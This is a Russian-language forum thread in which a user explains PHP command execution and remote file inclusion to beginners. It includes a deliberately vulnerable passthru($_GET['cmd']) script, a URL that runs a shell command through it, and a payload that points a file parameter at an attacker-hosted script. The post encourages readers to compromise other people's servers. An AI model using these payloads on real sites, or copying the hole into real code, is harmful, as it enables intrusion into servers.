Идея PHP инклюдинг для новичков

Тема в разделе "Обсуждение технологий", создана пользователем Patrik, 12 апр 2017.

  1. Patrik

    Patrik

    Сообщения:
    101
    Баллы:
    6
    Сегодня я расскажу тебе о типе атаки под названием php including. Если ты хоть чуть-чуть знаешь буржуйский, то тебе не сложно будет догадаться о смысле этого словосочетания. Если же в аглицком ты не шаришь, то я тебе переведу =).

    Дословно - PHP включение. Т.е. включение в выполняемый код своего куска. Это возможно по тому что скрипт пхп выполнется непосредственно на сервере, соответственно, можно при благоприятных условиях заставить сервер выполнить свой код. Смысл атаки в следующем: имеется некий скрипт на пхп, то может быть что угодно, форум, гостевая книга, поисковик, просто движок сайта, это совершенно не играет роли. Главное, что этот скрипт не содержит проверки вводимых данных. Просто кодер поленился и не добавил ее туда, типа «Зачем еще пару лишних строчек писать? И так сойдет…». К чему такое наплевательское отношение может привести, я сейчас тебе покажу на простейшем примере. Давайте напишем маленький пхп скрипт:


    <?
    passthru($_GET[‘cmd’]);
    ?>

    Назовем его для примера bug.php и выложим на хостинг с поддержкой пхп. Теперь наберем в браузере:

    http://host.zone/bug.php?cmd=ls
    Вау! Что мы видим? Результат выполнения команды «ls» =) Вот такая вот «бага» в скрипте может привести к взлому сайта. А все из-за того что мы поленились выполнить проверку параметра $_GET[‘cmd’].

    Это был простейший пример чтобы продемонстрировать тебе смысл атаки типа пхп инклюдинг. На самом деле все обстоит несколько сложнее. Такого рода баг вы вряд ли встретите. Обычно в качестве параметра передают ссылку на другой скрипт, либо на какие-то другие данные. Но, что нам мешает вместо например

    http://host.zone/script.php?file=data
    Написать:

    http://host.zone/script.php?file=http://my_host.zone/my_script.php ? =)
    Вот так-то, ты и можешь поиметь чей-то сервант.

    На этом собственно и все. Ты наверно часто встречал на сайтах типа securitylab.ru инфу об обнаружении возможности пхп инклюдинга в различных скриптах. Тебе конечно ни кто не мешает попытаться заюзать это дело и радоваться жизни. Но если ты настоящий хакер, а не простой скрипт кидис то ты все-таки дочитаешь эту статью до конца =).

    Использовать баги найденные другими – каждый дурак может, ты попробуй сам найти какую-нибудь. Для этого тебе надо скачать оригинал стандартного скрипта который используется на многих сайтах. Например, в свое время очень часто баги находили в известном форуме phpBB2, его можно совершенно бесплатно скачать с официального сайта проекта. Потом ты должен проанализировать код. Полностью разобраться в том как работает этот самый скрипт. Потом уже дело техники, найти функцию которая обрабатывает потенциально опасные данные и в перед =).
  2. Кал Калыч

    Кал Калыч

    Сообщения:
    389
    Баллы:
    16
    passthru($_GET[‘cmd’]); Это функция ещё существует?

Поделиться этой страницей